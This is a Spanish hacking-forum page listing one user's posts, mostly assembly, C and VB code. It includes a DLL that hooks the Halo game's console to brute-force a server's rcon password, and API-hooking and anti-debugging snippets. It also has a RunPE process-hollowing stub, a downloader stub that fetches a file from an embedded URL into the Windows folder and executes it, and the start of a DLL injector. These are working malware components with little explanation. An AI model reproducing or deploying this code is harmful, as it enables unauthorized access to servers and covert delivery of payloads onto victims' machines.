Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
typedef (WINAPI * DLLCargada) (DWORD sock);
DLLCargada ShellDLLCargada;
ShellDLLCargada = (DLLCargada)GetProcAddress(Shell,"DLLCargada");
ShellDLLCargada(sock);DLLCargada: ; parametro sock
; informamos que la DLL esta cargada correctamente.
push ebp
mov ebp,esp
mov eax,dword[esp+8]
invoke send,eax,CargadaOk,20,0
leave
ret ![:-\](https://forum.elhacker.net/Smileys/navidad/undecided.gif ":-\")
ayuda 
; Halo Rcon Ataque de Fuerza Bruta v0.1.
; Programación y Ing. Inversa por Juan fary, mas conocido con mDrinky
; 13 - Septiembre - 2012
; Nota: Cualquier consulta sobre las funciones nativas de Halo que aqui se utilizan
; las pueden consultar a mi correo: drinky.94@hotmail.com
; ADVERTENCIA: El autor de este programa no se hace responsable de la mala utilización que se le pueda dar a este software.
format PE GUI 4.0 DLL
entry DllEntryPoint
include 'win32ax.inc'
section '.code' code readable executable
proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
cmp [fdwReason],1
jne salir
mov eax,[EstadoConsola]
mov byte[eax],1 ; Emulamos que la consola esta desplegada.
push Bienvenida
push string
xor eax,eax
call ImprimirVerdadero ; Imprimimos mensage de bienvenida
add esp,0x8
push Autor
push string
xor eax,eax
call ImprimirVerdadero ; Imprimimos autor
add esp,0x8
mov eax,[EstadoConsola]
mov byte[eax],0
invoke VirtualProtect,[Procesar],6,PAGE_EXECUTE_READWRITE,addr oPerm ; hookeamos procesar
mov eax,[Procesar]
mov byte[eax],0x68 ; push
inc eax
mov dword[eax],mProcesar ; direccion
add eax,4
mov byte[eax],0xC3 ; ret
invoke Sleep,1
invoke VirtualProtect,[Imprimir],6,PAGE_EXECUTE_READWRITE,addr oPerm ; hookeamos imprimir
mov eax,[Imprimir]
mov byte[eax],0x68 ; push
inc eax
mov dword[eax],mImprimir ; direccion
add eax,4
mov byte[eax],0xC3 ; ret
invoke GetCurrentProcess
invoke FlushInstructionCache,eax,NULL,NULL ; refrescamos las instrucciones
salir:
ret
endp
ImprimirVerdadero: ; Función para arreglar la funcion hookeada de imprimir
sub esp,0x10 ; 6 primeros bytes de la función imprimir
push edi
mov edi,eax
mov eax,[Imprimir]
add eax,6 ; Saltamos a la función original
jmp eax
mImprimir:
mov ebp,esp
push ebp
mov eax,dword[ebp+8] ; eax = puntero a cadena que se iva a imprimir.
.if eax = 0
pop ebp
ret
.endif
cmp [HackOn],0
je NoFiltro
; Hay que poner bandera a 1
.if byte[eax] = 'A'
.if byte[eax+2] = 'c'
pop ebp
jmp SeguimosBus
.endif
.endif
.if byte[eax] = 'r'
.if byte[eax+2] = 'o'
pop ebp
SeguimosBus:
.if [Bandera] <> 1
call SaltoSinFlujo
.endif
ret
.endif
.endif
.if byte[eax] = 's'
.if byte[eax+3] = 'r'
pop ebp
mov [Bandera],1
mov edi,LimpiarConsola
call ProcesarVerdadero ; Limpiamos la consola
push OkClave
push string
xor eax,eax
call ImprimirVerdadero
add esp,8
push ImprClave
push string
xor eax,eax
call ImprimirVerdadero
add esp,8
mov [HackOn],0
ret
.endif
.endif
NoFiltro:
push eax
push string
xor eax,eax
call ImprimirVerdadero
add esp,0x8
pop ebp
ret
SaltoSinFlujo:
invoke TerminateThread,[HiloViejo],0
invoke CreateThread,0,0,DarFlujo,0,0,0
mov [HiloViejo],eax
ret
DarFlujo:
invoke Sleep,500
mov edi,LimpiarConsola
call ProcesarVerdadero ; Limpiamos la consola
jmp BucleClaves3
ret
mProcesar:
.if byte[edi] = 'm'
.if byte[edi+4] = 'y'
call [CerrarConsola] ; Cerramos la consola para poder seguir jugando mientras
push Iniciando
push string
xor eax,eax
call ImprimirVerdadero ; Mensage informando que vamos a iniciar el forzado.
add esp,8
invoke CreateThread,0,0,mFB,0,0,0 ; Iniciarmos Hack!
mov [HackOn],1
ret
.endif
.endif
call ProcesarVerdadero
ret
mFB:
mov edi,CadenaClave
mov [Letra1],64 ; Letra1 = Primer byte
BucleClaves:
inc [Letra1]
mov eax,CadenaClave
add eax,5
mov dl,byte[Letra1]
mov byte[eax],dl
mov byte[ImprClave],dl
mov [Letra2],64 ; Letra2 = Segundo byte
BucleClaves2:
inc [Letra2]
mov eax,CadenaClave
add eax,6
mov cl,byte[Letra2]
mov byte[eax],cl
mov byte[ImprClave+1],cl
mov [Letra3],64 ; Letra3 = Tercer Byte
BucleClaves3:
inc [Letra3]
mov eax,CadenaClave
add eax,7
mov bl,byte[Letra3]
mov byte[eax],bl
mov byte[ImprClave+2],bl
mov eax,[EstadoConsola]
mov byte[eax],1
push ImprClave
push string
xor eax,eax
call ImprimirVerdadero ; Imprimimos la Clave por la que vamos
add esp,0x8
mov edi,CadenaClave
call ProcesarVerdadero ; Procesamos la intruccion
; por aqui no se pueden poner Sleep porque el programa se salta las rcon
.if [Letra3] >= 90
mov [Letra3],65
inc [Letra2]
mov eax,CadenaClave
add eax,6
mov cl,byte[Letra2]
mov byte[eax],cl
mov byte[ImprClave+1],cl
.endif
.if [Letra2] >= 90
mov [Letra2],65
inc [Letra1]
mov eax,CadenaClave
add eax,5
mov dl,byte[Letra1]
mov byte[eax],dl
mov byte[ImprClave],dl
.endif
ret
ProcesarVerdadero: ; Funcion Para Arreglar la funcion verdadera hookeada de procesar
mov al,byte[edi] ; Primeros 10 bytes de la funcion procesar
sub esp,0x500
cmp al,0x3B
mov edx,[Procesar]
add edx,0xA ; Saltamos a la funcion procesar verdadera
jmp edx
section '.data' data readable writeable
Bienvenida db '+ Fuerza Bruta para Halo Custom Edition está listo para usarse.',0
Autor db '+ Programado por mDrinky.',0
CadenaClave db 'rcon XXX sv_rcon_password',0 ; Hay que cambiar los bytes 6,7 y 8
ImprClave db 0x0,0x0,0x0,0x0 ; Se sustitullen los 3 primeros bytes
LimpiarConsola db 'cls',0
OkClave db 'La rcon del servidor es:',0
string db '%s',0
Iniciando db 'Iniciando Fuerza Bruta al servidor!',0
Letra1 dd ?
Letra2 dd ?
Letra3 dd ?
oPerm dd ?
HiloViejo dd ?
Bandera dd ?
HackOn dd ?
EstadoConsola dd 0x651E88 ; Direccion que contiene 1 byte indicando el estado de la consola ACTIVA/NO ACTIVA
Procesar dd 0x4C9E10 ; Dirección de la funcion que procesa las instrucciones
CerrarConsola dd 0x4C9980 ; Direccion de la funcion de ciera y abre la consola
Imprimir dd 0x499BD0 ; Direccion de la funcion que imprime datos en pantalla
section '.idata' import data readable writeable
library kernel,'KERNEL32.DLL',\
USER32,'USER32.DLL'
import kernel,\
VirtualProtect,'VirtualProtect',\
CreateThread,'CreateThread',\
FlushInstructionCache,'FlushInstructionCache',\
GetCurrentProcess,'GetCurrentProcess',\
Sleep,'Sleep',\
TerminateThread,'TerminateThread'
import USER32,\
MessageBoxA,'MessageBoxA'
section '.reloc' fixups data discardable invoke VirtualProtectEx,-1,[Procesar],6,PAGE_EXECUTE_READWRITE,addr oPerm
mov eax,[Procesar]
mov byte[eax],0x68 ; push
inc eax
mov dword[eax],mProcesar ; direccion
add eax,4
mov byte[eax],0xC3 ; ret
invoke VirtualProtectEx,-1,[Imprimir],6,PAGE_EXECUTE_READWRITE,addr oPerm
mov eax,[Imprimir]
mov byte[eax],0x68 ; push
inc eax
mov dword[eax],mImprimir ; direccion
add eax,4
mov byte[eax],0xC3 ; ret 
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
IMAGE_DOS_HEADER dh;
IMAGE_NT_HEADERS nth;
IMAGE_SECTION_HEADER * sección;
IMAGE_SECTION_HEADER nSeccion;
// char * stub_dos -> Datos del STUB_DOS
// char * dSecciones -> Datos de las secciones
FILE * archivo = fopen("c:\\windows\\system32\\calc.exe","r+b");
if (archivo == NULL)
{
printf("Error al leer el archivo\n");
system("PAUSE");
return 1;
}
fread(&dh,sizeof(dh),1,archivo); // Rellenamos IMAGE_DOS_HEADER
char * stub_dos = (char*)malloc(dh.e_lfanew-0x40);
fread(stub_dos,1,dh.e_lfanew-0x40,archivo); // Leemos el Stub DOS
fread(&nth,sizeof(nth),1,archivo); // leemos nt headers
sección = (IMAGE_SECTION_HEADER*)malloc(sizeof(IMAGE_SECTION_HEADER)*nth.FileHeader.NumberOfSections);
fread(sección,sizeof(IMAGE_SECTION_HEADER),nth.FileHeader.NumberOfSections,archivo);
char * dSecciones = (char*)malloc(nth.OptionalHeader.SizeOfImage);
fread(dSecciones,nth.OptionalHeader.SizeOfImage,1,archivo); //leo todos los datos de las secciones.
fclose(archivo); // terminamos de leer
ZeroMemory(&nSeccion,sizeof(IMAGE_SECTION_HEADER));
int A = sección[nth.FileHeader.NumberOfSections-1].VirtualAddress;
int B = sección[nth.FileHeader.NumberOfSections-1].Misc.VirtualSize;
int C = nth.OptionalHeader.SectionAlignment;
strcpy((char*)nSeccion.Name,".fary"); // nombre de la nueva sección: .fary
nSeccion.VirtualAddress = ((A+B)/C)*C+C;// direccion Virtual
nSeccion.SizeOfRawData = 0x64; // tamaño de la sección: 100
nSeccion.PointerToRawData = sección[nth.FileHeader.NumberOfSections-1].PointerToRawData + 0x64; // direccion fisica
nSeccion.Characteristics = 0x10000020;
nSeccion.Misc.VirtualSize = 0x64;
//nSeccion.VirtulSize
nth.FileHeader.NumberOfSections += 1; // sumamos la nueva sección
nth.OptionalHeader.SizeOfImage += 0x64;
FILE * nuevo = fopen("NuevaCalc.exe","wb+");
fwrite(&dh,sizeof(dh),1,nuevo);
fwrite(stub_dos,dh.e_lfanew-0x40,1,nuevo);
fwrite(&nth,sizeof(nth),1,nuevo);
fwrite(sección,sizeof(IMAGE_SECTION_HEADER)*nth.FileHeader.NumberOfSections,1,nuevo);
fwrite(&nSeccion,sizeof(IMAGE_SECTION_HEADER),1,nuevo);
fwrite(dSecciones,nth.OptionalHeader.SizeOfImage,1,nuevo);
char * DatosSeccion = (char*)malloc(0x64);
ZeroMemory(DatosSeccion,0x64);
fwrite(DatosSeccion,0x64,1,nuevo);
fclose(nuevo);
system("PAUSE");
return 0;
}
. #include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main()
{
IMAGE_DOS_HEADER idh;
IMAGE_FILE_HEADER ifh;
IMAGE_OPTIONAL_HEADER ioh;
IMAGE_SECTION_HEADER ish;
char ruta[] = "C:\\MS-DOC.exe";
FILE * archivo = fopen(ruta,"r+b");
if (archivo == NULL)
{ // si no podemos abrri el archivo.
printf("Error al abrir el archivo\n");
system("PAUSE");
return 1;
}
fread(&idh,0x40,1,archivo); // rellenamos IMAGE_DOS_HEADER
if (idh.e_magic != IMAGE_DOS_SIGNATURE)
{ // comprovamos el e_magic para saber si es un EXE
printf("No es un archivo EXE\n");
system("PAUSE");
return 1;
}
fseek(archivo,idh.e_lfanew + 4,SEEK_SET);
fread(&ifh,0x14,1,archivo); // rellenamos IMAGE_FILE_HEADER
fseek(archivo, idh.e_lfanew + 4 + sizeof(ifh), SEEK_SET);
fread(&ioh,ifh.SizeOfOptionalHeader,1,archivo); // Leemos IMAGE_OPTIONAL_HEADER
int suma = 0;
for (int i=0;i<ifh.NumberOfSections;i++)
{
fseek(archivo, idh.e_lfanew + 4 + sizeof(ifh) + ifh.SizeOfOptionalHeader + (sizeof(ish)*(ifh.NumberOfSections-1)) + suma ,SEEK_SET);
fread(&ish, sizeof(ish),1,archivo); // rellenamos IMAGE_SECTION_HEADER
printf("%x\n",(&ish)[i].Misc.PhysicalAddress);
suma += 0x28; // sumo 0x28 que es lo que ocupa ish para pasar a los datos de la siguiente sección.
}
fclose(archivo);
system("PAUSE");
return 0;
}
format PE GUI 4.0 DLL
entry DllEntryPoint
include 'd:\Fasm\INCLUDE\win32ax.inc'
section '.code' code readable executable
proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
cmp [fdwReason],1
je mensage
jne salir
mensage:
invoke LoadLibrary,"Kernel32.dll"
invoke GetProcAddress,eax,"FindNextFileA"
mov ebx,eax ; Dirección de la api en ebx
mov [PunteroOri],ebx
lea edx,dword[ebp-4]
invoke VirtualProtectEx,-1,ebx,7,PAGE_EXECUTE_READWRITE,edx
mov ecx,ApiOriginal
lea edx,dword[ebp-4]
invoke VirtualProtectEx,-1,ecx,7,PAGE_EXECUTE_READWRITE,edx
mov al,byte[ebx] ; movemos el primer byte
mov byte[ecx],al
mov byte[ebx],0x68 ; push
inc ebx
inc ecx
mov eax,dword[ebx] ; movemos 4 bytes
mov dword[ecx],eax
mov dword[ebx],Funcion ; dreccion funcion
add ebx,4
add ecx,4
mov al,byte[ebx] ; ultimo byte
mov byte[ecx],al
mov byte[ebx],0xC3 ;ret
inc ebx
salir:
ret
endp
Funcion:
ApiOriginal:
nop
nop
nop
nop
nop
nop
mov eax,[PunteroOri]
add eax,6
jmp eax
ret
; VOID ShowErrorMessage(HWND hWnd,DWORD dwError);
proc ShowErrorMessage hWnd,dwError
local lpBuffer:DWORD
lea eax,[lpBuffer]
invoke FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM,0,[dwError],LANG_NEUTRAL,eax,0,0
invoke MessageBoxA,[hWnd],[lpBuffer],NULL,MB_ICONERROR+MB_OK
invoke LocalFree,[lpBuffer]
ret
endp
; VOID ShowLastError(HWND hWnd);
proc ShowLastError hWnd
invoke GetLastError
stdcall ShowErrorMessage,[hWnd],eax
ret
endp
section '.data' data readable writeable
PunteroOri dd ?
section '.idata' import data readable writeable
library kernel,'KERNEL32.DLL',\
user,'USER32.DLL'
import kernel,\
GetLastError,'GetLastError',\
SetLastError,'SetLastError',\
FormatMessage,'FormatMessageA',\
LocalFree,'LocalFree',\
LoadLibrary,'LoadLibraryA',\
GetProcAddress,'GetProcAddress',\
VirtualProtectEx,'VirtualProtectEx',\
ExitProcess,'ExitProcess'
import user,\
MessageBoxA,'MessageBoxA'
section '.edata' export data readable
export 'ERRORMSG.DLL',\
ShowErrorMessage,'ShowErrorMessage',\
ShowLastError,'ShowLastError'
section '.reloc' fixups data discardable
proc Comparar,cadena1,cadena2
;Si son iguales EAX = 1
;Si son diferentes EAX = 0
mov esi,[cadena1]
mov ecx,[cadena2]
dec ecx
bucle:
inc ecx
lodsb
cmp byte[ecx],al
jne diferentes
cmp al,0
je comprovar
jmp bucle
comprovar:
cmp byte[ecx],0
je iguales
jne diferentes
diferentes:
mov eax,0
ret
iguales:
mov eax,1
ret
endp include 'win32ax.inc'
.data
palabra db 'Drinky94',0
palabra2 db 'Drinky94',0
.code
start:
stdcall Comparar,palabra,palabra2
.if eax = 0
invoke MessageBoxA,0,'Son Diferentes',0,0
.else
invoke MessageBoxA,0,'Son Iguales',0,0
.endif
ret
proc Comparar,cadena1,cadena2
;Si son iguales EAX = 1
;Si son diferentes EAX = 0
mov esi,[cadena1]
mov ecx,[cadena2]
dec ecx
bucle:
inc ecx
lodsb
cmp byte[ecx],al
jne diferentes
cmp al,0
je comprovar
jmp bucle
comprovar:
cmp byte[ecx],0
je iguales
jne diferentes
diferentes:
mov eax,0
ret
iguales:
mov eax,1
ret
endp
.end start proc Len,Cadena
;ECX = Longitud de la cadena.
mov eax,[Cadena]
mov ecx,-1
bucle:
inc ecx
cmp byte[eax+ecx],0
jne bucle
ret
endp include 'win32ax.inc'
.data
palabra db 'Drinky94',0
longitud dd ?
.code
start:
stdcall Len,palabra
mov [longitud],ecx
invoke GlobalAlloc,GPTR,1024
push eax
invoke wsprintfA,eax,"%d",[longitud]
pop eax
invoke MessageBox,0,eax,0,MB_OK
leave
ret
proc Len,Cadena
;ECX = Longitud de la cadena
mov eax,[Cadena]
mov ecx,-1
bucle:
inc ecx
cmp byte[eax+ecx],0
jne bucle
ret
endp
.end start proc DGlobalAlloc,cantidad
sub esp,[cantidad]
mov eax,esp
ret
endp include 'win32ax.inc'
.data
palabra db 'Drinky94',0
longitud dd ?
.code
start:
stdcall Len,palabra
mov [longitud],ecx
stdcall DGlobalAlloc,1024
push eax
invoke wsprintfA,eax,"%d",[longitud]
pop eax
invoke MessageBox,0,eax,0,MB_OK
leave
ret
proc Len,Cadena
mov eax,[Cadena]
mov ecx,-1
bucle:
inc ecx
cmp byte[eax+ecx],0
jne bucle
ret
endp
proc DGlobalAlloc,cantidad
sub esp,[cantidad]
mov eax,esp
ret
endp
.end start format PE GUI 4.0
entry start
include 'win32ax.inc'
SiDbg db 'Hay Debugger',0
NoDbg db 'No hay Debugger',0
start:
mov eax,dword[fs:18h]
mov eax,dword[eax+30h]
mov bl,byte[eax+2] ; si bl = 1 Nos estan debujeando.
.if bl = 1
invoke MessageBoxA,0,SiDbg,0,0
.else
invoke MessageBoxA,0,NoDbg,0,0
.endif
ret
data import
library user32,'user32.dll'
import user32,MessageBoxA,'MessageBoxA'
end data proc Cifrar,Cadena
xor ecx,ecx
mov eax,[Cadena]
.bucle:
.if byte[eax+ecx] = 0
jmp .salir
.endif
xor byte[eax+ecx],7
inc ecx
jmp .bucle
.salir:
ret
endp include 'win32ax.inc'
.data
hola db 'hola',0
.code
start:
stdcall Cifrar,hola
invoke MessageBoxA,0,eax,0,0
ret
proc Cifrar,Cadena
xor ecx,ecx
mov eax,[Cadena]
.bucle:
.if byte[eax+ecx] = 0
jmp .salir
.endif
xor byte[eax+ecx],7
inc ecx
jmp .bucle
.salir:
ret
endp
.end start proc NumToString,Numero
;Función creada por Drinky94. Agradecimientos a Jep.
locals
divisor dw ?
; buffer rb 20 Agregar esta variable en la sección data
; El numero 20 es la longitud que tendra la cadena
;si nuestro numero tiene 4 cifras tendremos que poner 4
; CadenaFinal rb 20 ; lo mismo que con la variable buffer.
endl
mov [divisor],10
xor eax,eax
xor ebx,ebx
mov eax,[Numero]
bucle:
xor edx,edx
div [divisor]
add dl,0x30
mov byte[buffer+ebx],dl
inc ebx
cmp eax,0
jne bucle
inc ebx
mov byte[buffer+ebx],0x0
mov eax,buffer
mov ecx,-1
buclelen:
inc ecx
cmp byte[eax+ecx],0
jne buclelen
xor ebx,ebx
dec ecx
reverse:
xor edx,edx
mov dl,byte[eax+ecx]
mov byte[CadenaFinal+ebx],dl
inc ebx
sub ecx,1
cmp ecx,-1
jne reverse
mov eax,CadenaFinal
ret
endp include 'win32ax.inc'
.data
buffer rb 4
CadenaFinal rb 4
.code
start:
stdcall NumToString,1994
invoke MessageBoxA,0,eax,0,0
ret
proc NumToString,Numero
;Función creada por Drinky94. Agradecimientos a Jep.
locals
divisor dw ?
; buffer rb 20 Agregar esta variable en la sección data
; El numero 20 es la longitud que tendra la cadena
;si nuestro numero tiene 4 cifras tendremos que poner 4
; CadenaFinal rb 20 ; lo mismo que con la variable buffer.
endl
mov [divisor],10
xor eax,eax
xor ebx,ebx
mov eax,[Numero]
bucle:
xor edx,edx
div [divisor]
add dl,0x30
mov byte[buffer+ebx],dl
inc ebx
cmp eax,0
jne bucle
inc ebx
mov byte[buffer+ebx],0x0
mov eax,buffer
mov ecx,-1
buclelen:
inc ecx
cmp byte[eax+ecx],0
jne buclelen
xor ebx,ebx
dec ecx
reverse:
xor edx,edx
mov dl,byte[eax+ecx]
mov byte[CadenaFinal+ebx],dl
inc ebx
sub ecx,1
cmp ecx,-1
jne reverse
mov eax,CadenaFinal
ret
endp
.end start format PE GUI 4.0 DLL
entry DllEntryPoint
include 'win32ax.inc'
section '.code' code readable executable
proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
locals
proteccion dd ?
endl
invoke LoadLibrary,'user32.dll'
invoke GetProcAddress,eax,"MessageBoxA"
mov ebx,eax; ebx = direccion MessageBoxA
invoke VirtualProtect,-1,ebx,5,PAGE_EXECUTE_READWRITE,edx
mov ebx,0xE9
inc ebx
mov dword[ebx],hook
add ebx,4
ret
endp
proc hook,uno,dos,tres,cuatro
invoke MessageBox,0,0,0,0
mov eax,0
ret
endp
; VOID ShowErrorMessage(HWND hWnd,DWORD dwError);
proc ShowErrorMessage hWnd,dwError
local lpBuffer:DWORD
lea eax,[lpBuffer]
invoke FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM,0,[dwError],LANG_NEUTRAL,eax,0,0
invoke MessageBox,[hWnd],[lpBuffer],NULL,MB_ICONERROR+MB_OK
invoke LocalFree,[lpBuffer]
ret
endp
; VOID ShowLastError(HWND hWnd);
proc ShowLastError hWnd
invoke GetLastError
stdcall ShowErrorMessage,[hWnd],eax
ret
endp
section '.data' data readable writeable
mensajito db ?
section '.idata' import data readable writeable
library kernel,'KERNEL32.DLL',\
user,'USER32.DLL'
import kernel,\
GetLastError,'GetLastError',\
SetLastError,'SetLastError',\
FormatMessage,'FormatMessageA',\
LocalFree,'LocalFree',\
LoadLibrary,'LoadLibraryA',\
GetProcAddress,'GetProcAddress',\
VirtualProtect,'VirtualProtectEx'
import user,\
MessageBox,'MessageBoxA'
section '.edata' export data readable
export 'ERRORMSG.DLL',\
ShowErrorMessage,'ShowErrorMessage',\
ShowLastError,'ShowLastError'
section '.reloc' fixups data discardable el caso es que no me sale...#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
int main()
{
PHANDLE leer;
PHANDLE escribir;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
DWORD bytes;
CreatePipe(leer,escribir,&sa,0);
si.cb = 68;
si.dwFlags = 257;
si.hStdError = escribir;
si.hStdOutput = escribir;
CreateProcessA(0,"cmd.exe /c ping 127.0.0.1", &sa, &sa, 1, NORMAL_PRIORITY_CLASS, 0, 0, &si, &pi);
Sleep(100);
CloseHandle(escribir);
char buffer[1024];
char total[1024];
int ret = ReadFile(leer,buffer,250,&bytes,0);
lstrcat(total,buffer);
while(ret != 0)
{
ret = ReadFile(leer,buffer,250,&bytes,0);
lstrcat(total,buffer);
}
MessageBoxA(0,total,0,0);
system("PAUSE");
return 0;
}
Option Explicit
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function NtUnmapViewOfSection Lib "NTDLL.dll" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long) As Long
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type
Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type
Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type
Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type
Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type
Const IMAGE_SIZEOF_SHORT_NAME = 8
Private Type IMAGE_SECTION_HEADER
SecName As String * IMAGE_SIZEOF_SHORT_NAME
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type
Public Function EjecutarPE(ByVal Ruta As String) As Boolean
On Error GoTo error
Dim IDH As IMAGE_DOS_HEADER
Dim INH As IMAGE_NT_HEADERS
Dim ISH() As IMAGE_SECTION_HEADER
Dim IDD As IMAGE_DATA_DIRECTORY
Dim Datos() As Byte
ReDim Datos(FileLen(Ruta))
Open Ruta For Binary As #1
Get #1, , Datos
Close #1
Call CopyMemory(IDH, Datos(0), Len(IDH))
Call CopyMemory(INH, Datos(IDH.e_lfanew), Len(INH))
Dim MYe_lfanew As Long: MYe_lfanew = IDH.e_lfanew
Dim MYImageBase As Long: MYImageBase = INH.OptionalHeader.ImageBase
Dim MYSizeOfImage As Long: MYSizeOfImage = INH.OptionalHeader.SizeOfImage
Dim MYSizeOfHeaders As Long: MYSizeOfHeaders = INH.OptionalHeader.SizeOfHeaders
Dim MYAddressOfEntryPoint As Long: MYAddressOfEntryPoint = INH.OptionalHeader.AddressOfEntryPoint
Dim MYNumberOfSections As Integer: MYNumberOfSections = INH.FileHeader.NumberOfSections
Dim MYVirtualAddress As Long
Dim MYPointerToRawData As Long
Dim MYSizeOfRawData As Long
Dim ManijaProceso As Long
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFO
Dim NTUN As Long
Dim Espacio As Long
Dim IdProc As Long
Call CreateProcessA(App.Path & "\" & App.EXEName & ".exe", 0, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi)
ManijaProceso = pi.dwProcessId
NTUN = NtUnmapViewOfSection(ManijaProceso, MYImageBase)
Espacio = VirtualAllocEx(ManijaProceso, MYImageBase, MYSizeOfImage, &H1000& Or &H2000&, &H40)
Exit Function
error:
EjecutarPE = False
End Function
, solo dejo el código del Stub que es lo interesante jeje.;Stub de mDownloader
;Codeado por Drinky94 en diciembre de 2010
;www.drinky94. artehack .net
include 'win32ax.inc'
.data
ruta dd ?
manija dd ?
larchivo dd ?
espacio dd ?
bleidos dd ?
dll db 'urlmon.dll',0
funcion db 'URLDownloadToFileA',0
mUrl dd ?
dlls db 'msvcrt.dll',0
funcions db 'getenv',0
shell dd ?
user db 'windir',0
añadir db '\archivo.exe',0
destino dd ?
.code
start:
invoke GlobalAlloc,GPTR,1024
mov [ruta],eax
invoke GetModuleFileName,0,[ruta],1024
invoke CreateFile,[ruta], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
mov [manija],eax
invoke GetFileSize,[manija],0
mov [larchivo],eax
invoke GlobalAlloc,GPTR,[larchivo]
mov [espacio],eax
invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
invoke CloseHandle,[manija]
mov ecx,1
mov eax,[espacio]
add [larchivo],10
bucle:
.if byte[eax+ecx] = '#'
inc ecx
.if byte[eax+ecx] = '#'
inc ecx
.if byte[eax+ecx] = '#'
inc ecx
add eax,ecx
mov [espacio],eax
jmp salir
.endif
dec ecx
.endif
dec ecx
.endif
.if ecx > [larchivo]
jmp salir
.endif
inc ecx
jmp bucle
salir:
invoke LoadLibrary,dlls
invoke GetProcAddress,eax,funcions
mov [shell],eax
push user
call [shell]
invoke lstrcat,eax,añadir
mov [destino],eax
invoke LoadLibrary,dll
invoke GetProcAddress,eax,funcion
mov [mUrl],eax
push 0
push 0
push [destino]
push [espacio]
push 0
call [mUrl]
invoke ShellExecute,0,"open",[destino],0,0,0
leave
ret
.end start #include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
void inyectar(char * rutadll);
int main()
{
inyectar("c:\\windows\\system32\\fary.dll");
return 0;
}
void inyectar(char * rutadll)
{
DWORD id;
DWORD mangoproc;
HANDLE idproc;
LPVOID espacio;
LPVOID carga;
printf("Inyeccion Dll by Drinky94\n");
ShellExecute(0,0,"c:\\windows\\system32\\calc.exe",0,0,0);
Sleep(2000); // Esperamos que se ejecute la calculadora...
id = FindWindow(NULL,"Calculadora");
GetWindowThreadProcessId(id,&mangoproc);
